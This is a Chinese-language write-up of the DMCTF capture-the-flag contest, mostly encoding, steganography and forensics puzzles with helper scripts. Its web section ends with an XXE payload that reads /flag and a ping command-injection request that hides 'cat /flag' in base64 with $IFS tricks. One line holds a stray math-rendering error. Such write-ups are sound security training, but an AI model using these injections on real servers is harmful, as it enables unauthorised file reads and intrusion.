DMCTF
比赛持续了一周,还是比较长的。前期主要做了MISC,最后看了看WEB,没什么时间了,很可惜。不过还是从这次比赛中学到了很多。
MISC
Check In
dmctf{Welcome_to_dmctf2020}
签到题
fakezip
zip伪加密
WinHex打开,修改加密位
修改为00 00,保存
解压出来,是一个flag.txt
音乐符号加密
文本加密为音乐符号,可自设密码|文本在线加密解密工具 (qqxiuzi.cn)
flag{da1ada1a}
Base family
XUZbB{fp}U)=ql[n%GCbk9RZ7!XDKaTeX parse error: Expected '}', got '#' at position 28: …TSlXCJT:4nxQ[8Y#̲I:=k.Qi4t3/S!,N…Q8+8T])e.llK?zgS:+C]llUG:z1=ekEN}8DmJf&GP<Rk:o_Jk<J.zp8%H0g7sYSTJ9p."duRBGj
g0!I+xjm(fh)]IF:>omN8=m+Xp(X0:U8Sj5|8p.o[i0:%.qu}%=<D
CTF在线工具-在线base91编码|在线base91解码|base91编码|base91解码 (ssleye.com)
3G6MzYGwFwTsqcb3MWzTdQBTHZWBZ2LUBprZ3P62T2nsbt1R7o6a7PEsXsBvSFvoexeZJEkhW9Wv1VusvpWK1nfWsVHDypW2j3MMEygzSYLmwxKV5kNwWomvXc5ohX2Jgj6bMRnu6JXkasXdbbw3Aw8Pvh6vWwPfTZ4mpkpNU9fDhyNi1bciCZMXeLiCWL67BVupHPobQcFWkpftgLPggB8wgwW
CTF在线工具-在线base58编码|在线base58解码|base58编码|base58解码|base58check (ssleye.com)
JZVFSMSZPJMXQTTKMMZVS2TDGVGXUQJTJZKFM3KONJCTEWL2MN4U26SNGJGVIWJQJZ5GWMK2NJNGSTTNKV5E2RDDGNHFOWJTJZCFSNCNPJGTCWTKKF4U42SFGNGXUWJRJZVFSMSNKRNGWTL2IUZFS6TDGVHDEUJ5
CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码 (ssleye.com)
NjY2YzYxNjc3Yjc5MzA3NTVmNjE2YzcyMzM2MTY0Nzk1ZjZiNmUzMDc3NWY3NDY4MzM1ZjQyNjE3MzY1NjY2MTZkMzE2Yzc5N2Q=
666c61677b7930755f616c72336164795f6b6e30775f7468335f4261736566616d316c797d
小写转大写,Base16
666C61677B7930755F616C72336164795F6B6E30775F7468335F4261736566616D316C797D
flag{y0u_alr3ady_kn0w_th3_Basefam1ly}
SlientEye
HTML解码 - 在线HTML解码器 (convertstring.com)
flag{n1_bu_j1ang_wu_d3}
编码之王
社会主义核心价值观编码
CTF在线工具-在线核心价值观编码|核心价值观编码算法|Core Values Encoder (ssleye.com)
佛曰编码
新佛曰编码
Jsfuck编码
浏览器控制台解码
DMCTF{Wow_you_kn0w_more_eNcoding}
jpgsteg
这道题用了JPHS这个工具
这里让我们输入密码,根据题目的提示,盲猜123456(虽然我是问大佬的。。。)
分离出一个文本
敲击码,对应图片名称Tap Code
按照表解码
flag{ohhamazing}
Collision
根据题目名字可以大致猜出用CRC32碰撞,然后上脚本跑就可以
脚本如下
#PYTHON2
from zlib import crc32
import random
char='0123456789abcdefghijklmnopqrstuvwxyz_{}'
# char='0123456789'
def crc32_f(data):
return hex(crc32(data)&0xffffffff)[2:10]
length=input('length:')
crc32_=raw_input('crc32:').lower()
while True:
text=''
for i in range(length):
text+=char[random.randint(0,len(char)-1)]
if crc32_f(text)==crc32_:
raw_input('find it:'+text)
exit
CRC32用WinRAR查看
flag{crc32collis1on}
kaomoji
flag.zip里面有个secret.txt,盲猜是明文
浏览器控制台直接解密
flag{kaomoj1_1s_cut3}
ARCHPR
CTF在线工具-在线莫尔斯电码编码|在线莫尔斯电码解码|莫尔斯电码算法|Morse (ssleye.com)
flag{th1s_15_f1agggggg}
outguess
Online calculator: Caesar cipher (planetcalc.com)
在线AES加密 | AES解密 - 在线工具 (sojson.com)
flag{y0u_ar3_awes0m3}
Whitespace
下载下来的压缩包需要密码,在注释里面,Whitespace
Whitelips the Whitespace IDE (vii5ard.github.io)
在线IDE,运行程序
解压出来是两张图片和一个hint.txt
盲水印
#!/usr/bin/env python3
# -*- coding: utf8 -*-
import sys
import random
cmd = None
debug = False
seed = 20160930
oldseed = False
alpha = 3.0
if __name__ == '__main__':
if '-h' in sys.argv or '--help' in sys.argv or len(sys.argv) < 2:
print ('Usage: python bwm.py <cmd> [arg...] [opts...]')
print (' cmds:')
print (' encode <image> <watermark> <image(encoded)>')
print (' image + watermark -> image(encoded)')
print (' decode <image> <image(encoded)> <watermark>')
print (' image + image(encoded) -> watermark')
print (' opts:')
print (' --debug, Show debug')
print (' --seed <int>, Manual setting random seed (default is 20160930)')
print (' --oldseed Use python2 random algorithm.')
print (' --alpha <float>, Manual setting alpha (default is 3.0)')
sys.exit(1)
cmd = sys.argv[1]
if cmd != 'encode' and cmd != 'decode':
print ('Wrong cmd %s' % cmd)
sys.exit(1)
if '--debug' in sys.argv:
debug = True
del sys.argv[sys.argv.index('--debug')]
if '--seed' in sys.argv:
p = sys.argv.index('--seed')
if len(sys.argv) <= p+1:
print ('Missing <int> for --seed')
sys.exit(1)
seed = int(sys.argv[p+1])
del sys.argv[p+1]
del sys.argv[p]
if '--oldseed' in sys.argv:
oldseed = True
del sys.argv[sys.argv.index('--oldseed')]
if '--alpha' in sys.argv:
p = sys.argv.index('--alpha')
if len(sys.argv) <= p+1:
print ('Missing <float> for --alpha')
sys.exit(1)
alpha = float(sys.argv[p+1])
del sys.argv[p+1]
del sys.argv[p]
if len(sys.argv) < 5:
print ('Missing arg...')
sys.exit(1)
fn1 = sys.argv[2]
fn2 = sys.argv[3]
fn3 = sys.argv[4]
import cv2
import numpy as np
import matplotlib.pyplot as plt
# OpenCV是以(BGR)的顺序存储图像数据的
# 而Matplotlib是以(RGB)的顺序显示图像的
def bgr_to_rgb(img):
b, g, r = cv2.split(img)
return cv2.merge([r, g, b])
if cmd == 'encode':
print ('image<%s> + watermark<%s> -> image(encoded)<%s>' % (fn1, fn2, fn3))
img = cv2.imread(fn1)
wm = cv2.imread(fn2)
if debug:
plt.subplot(231), plt.imshow(bgr_to_rgb(img)), plt.title('image')
plt.xticks([]), plt.yticks([])
plt.subplot(234), plt.imshow(bgr_to_rgb(wm)), plt.title('watermark')
plt.xticks([]), plt.yticks([])
# print img.shape # 高, 宽, 通道
h, w = img.shape[0], img.shape[1]
hwm = np.zeros((int(h * 0.5), w, img.shape[2]))
assert hwm.shape[0] > wm.shape[0]
assert hwm.shape[1] > wm.shape[1]
hwm2 = np.copy(hwm)
for i in range(wm.shape[0]):
for j in range(wm.shape[1]):
hwm2[i][j] = wm[i][j]
if oldseed: random.seed(seed,version=1)
else: random.seed(seed)
m, n = list(range(hwm.shape[0])), list(range(hwm.shape[1]))
if oldseed:
random.shuffle(m,random=random.random)
random.shuffle(n,random=random.random)
else:
random.shuffle(m)
random.shuffle(n)
for i in range(hwm.shape[0]):
for j in range(hwm.shape[1]):
hwm[i][j] = hwm2[m[i]][n[j]]
rwm = np.zeros(img.shape)
for i in range(hwm.shape[0]):
for j in range(hwm.shape[1]):
rwm[i][j] = hwm[i][j]
rwm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = hwm[i][j]
if debug:
plt.subplot(235), plt.imshow(bgr_to_rgb(rwm)), \
plt.title('encrypted(watermark)')
plt.xticks([]), plt.yticks([])
f1 = np.fft.fft2(img)
f2 = f1 + alpha * rwm
_img = np.fft.ifft2(f2)
if debug:
plt.subplot(232), plt.imshow(bgr_to_rgb(np.real(f1))), \
plt.title('fft(image)')
plt.xticks([]), plt.yticks([])
img_wm = np.real(_img)
assert cv2.imwrite(fn3, img_wm, [int(cv2.IMWRITE_JPEG_QUALITY), 100])
# 这里计算下保存前后的(溢出)误差
img_wm2 = cv2.imread(fn3)
sum = 0
for i in range(img_wm.shape[0]):
for j in range(img_wm.shape[1]):
for k in range(img_wm.shape[2]):
sum += np.power(img_wm[i][j][k] - img_wm2[i][j][k], 2)
miss = np.sqrt(sum) / (img_wm.shape[0] * img_wm.shape[1] * img_wm.shape[2]) * 100
print ('Miss %s%% in save' % miss)
if debug:
plt.subplot(233), plt.imshow(bgr_to_rgb(np.uint8(img_wm))), \
plt.title('image(encoded)')
plt.xticks([]), plt.yticks([])
f2 = np.fft.fft2(img_wm)
rwm = (f2 - f1) / alpha
rwm = np.real(rwm)
wm = np.zeros(rwm.shape)
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[m[i]][n[j]] = np.uint8(rwm[i][j])
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = wm[i][j]
if debug:
assert cv2.imwrite('_bwm.debug.wm.jpg', wm)
plt.subplot(236), plt.imshow(bgr_to_rgb(wm)), plt.title(u'watermark')
plt.xticks([]), plt.yticks([])
if debug:
plt.show()
elif cmd == 'decode':
print ('image<%s> + image(encoded)<%s> -> watermark<%s>' % (fn1, fn2, fn3))
img = cv2.imread(fn1)
img_wm = cv2.imread(fn2)
if debug:
plt.subplot(231), plt.imshow(bgr_to_rgb(img)), plt.title('image')
plt.xticks([]), plt.yticks([])
plt.subplot(234), plt.imshow(bgr_to_rgb(img_wm)), plt.title('image(encoded)')
plt.xticks([]), plt.yticks([])
if oldseed: random.seed(seed,version=1)
else: random.seed(seed)
m, n = list(range(int(img.shape[0] * 0.5))), list(range(img.shape[1]))
if oldseed:
random.shuffle(m,random=random.random)
random.shuffle(n,random=random.random)
else:
random.shuffle(m)
random.shuffle(n)
f1 = np.fft.fft2(img)
f2 = np.fft.fft2(img_wm)
if debug:
plt.subplot(232), plt.imshow(bgr_to_rgb(np.real(f1))), \
plt.title('fft(image)')
plt.xticks([]), plt.yticks([])
plt.subplot(235), plt.imshow(bgr_to_rgb(np.real(f1))), \
plt.title('fft(image(encoded))')
plt.xticks([]), plt.yticks([])
rwm = (f2 - f1) / alpha
rwm = np.real(rwm)
if debug:
plt.subplot(233), plt.imshow(bgr_to_rgb(rwm)), \
plt.title('encrypted(watermark)')
plt.xticks([]), plt.yticks([])
wm = np.zeros(rwm.shape)
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[m[i]][n[j]] = np.uint8(rwm[i][j])
for i in range(int(rwm.shape[0] * 0.5)):
for j in range(rwm.shape[1]):
wm[rwm.shape[0] - i - 1][rwm.shape[1] - j - 1] = wm[i][j]
assert cv2.imwrite(fn3, wm)
if debug:
plt.subplot(236), plt.imshow(bgr_to_rgb(wm)), plt.title(u'watermark')
plt.xticks([]), plt.yticks([])
if debug:
plt.show()
大小较大的那张作为有水印的图片
hint里面还有一个是Manchester coding(曼彻斯特编码)
曼彻斯特编码解码器下载_曼彻斯特编码解码器官方下载-太平洋下载中心 (pconline.com.cn)
把图片左上角或右下角的都输入工具的第一个输入框中(十六进制),按照1-2-3的顺序点击按钮,得到的十六进制转ASCII
266C61677B61623164655F62795F7468335F6C61777D
&lag{ab1de_by_th3_law}
flag{ab1de_by_th3_law}
Steghide
Ook编码,把¿ ¡改成? !,空格改成Ook
[Brainfuck/Ook! Obfuscation/Encoding splitbrain.org]
flag{y0u_ar3_clev3r}
SSTV
[BUUCTF:UTCTF2020]sstv_末初-CSDN博客
类似做法,直接照着来就可以
QSSTV
DMCTF{SSTV,yyds?}
最简单的内存取证
用volatility来做
首先识别系统
扫描进程,看看有什么
看不出什么东西,太菜了。。。
扫描文件
有个flag.txt,提取出来
89504E47是PNG的文件头,用WinHex保存下来。
是张缺了定位码的二维码,补全。
DMCTF{Mem0ry_FoRensics+i5-vErY_1ntere5t1nG}
SimpleQrcode
gif,StegSolve分离
一张张扫,手动做法。
DMCTF{QrCode_1s_so_interesting!!!}
WEB
weak_type
<?php
show_source(__FILE__);
include('class.php');
//level1
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="202020020"){
die("no no no!");
}
if(intval($num,0)===202020020){
echo "<br> level 1 Ok <br>";
}else{
die('what are you doing?');
}
}else{
die();
}
//level 2
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if($v1 != $v2 && md5($v1)==md5($v2)){
echo "<br> level 2 Ok <br>";
}else{
die('Are you kidding me ?');
}
}else{
die();
}
//level 3
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
if ($message->key == $key) {
echo "<br> Wow you got it !!! <br>";
echo file_get_contents('/flag');
}
else {
die("fail");
}
}
else{
echo "~~~~";
}
Warning: include(class.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 4
Warning: include(): Failed opening 'class.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 4
代码审计
总共三个level
dmctf{80636ab6-aa36-4b73-8e92-c8bbeb2d1e1c}
fungame
var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxa2781=["","\x2D\x70\x61\x75\x73\x65\x64\x2D","\x59\x6F\x75\x20\x57\x69\x6E\x21\x46\x6C\x61\x67\x20\x44\x4D\x63\x74\x66\x7B\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65\x7D\x21","\x47\x61\x6D\x65\x20\x4F\x76\x65\x72\x21","\x50\x72\x65\x73\x73\x20\x45\x73\x63\x61\x70\x65","\x78","\x79","\x63\x65\x6E\x74\x65\x72","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let bigText=__Oxa2781[0x0];if(paused){bigText= __Oxa2781[0x1]};if(winTimer.IsSet()){bigText= __Oxa2781[0x2]};if(player.IsDead()){bigText= __Oxa2781[0x3];DrawText(__Oxa2781[0x4],mainCanvasSize[__Oxa2781[0x5]]/ 2,mainCanvasSize[__Oxa2781[0x6]]/ 2+ 80,42)};DrawText(bigText,mainCanvasSize[__Oxa2781[0x5]]/ 2,mainCanvasSize[__Oxa2781[0x6]]/ 2- 80,72,__Oxa2781[0x7],2);;;(function(_0x5197x2,_0x5197x3,_0x5197x4,_0x5197x5,_0x5197x6,_0x5197x7){_0x5197x7= __Oxa2781[0x8];_0x5197x5= function(_0x5197x8){if( typeof alert!== _0x5197x7){alert(_0x5197x8)};if( typeof console!== _0x5197x7){console[__Oxa2781[0x9]](_0x5197x8)}};_0x5197x4= function(_0x5197x9,_0x5197x2){return _0x5197x9+ _0x5197x2};_0x5197x6= _0x5197x4(__Oxa2781[0xa],_0x5197x4(_0x5197x4(__Oxa2781[0xb],__Oxa2781[0xc]),__Oxa2781[0xd]));try{_0x5197x2= __encode;if(!( typeof _0x5197x2!== _0x5197x7&& _0x5197x2=== _0x5197x4(__Oxa2781[0xe],__Oxa2781[0xf]))){_0x5197x5(_0x5197x6)}}catch(e){_0x5197x5(_0x5197x6)}})({})
十六进制转ASCII
DMctf{flag_is_here}
xxe
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE user [
<!ENTITY abc SYSTEM "file:///flag"> ]>
<user><username>admin</username><password>&abc;</password></user>
dmctf{a3d52192-34b4-43d6-87a2-ddca16395da1}
pingpingping
GET /ping.php?ip=127.0.0.1|`echo$IFS$1Y2F0IC9mbGFn$IFS$1|$IFS$1base64$IFS$1-d` HTTP/1.1
dmctf{53325310-af8c-4490-92ae-7ea25c1ddebc}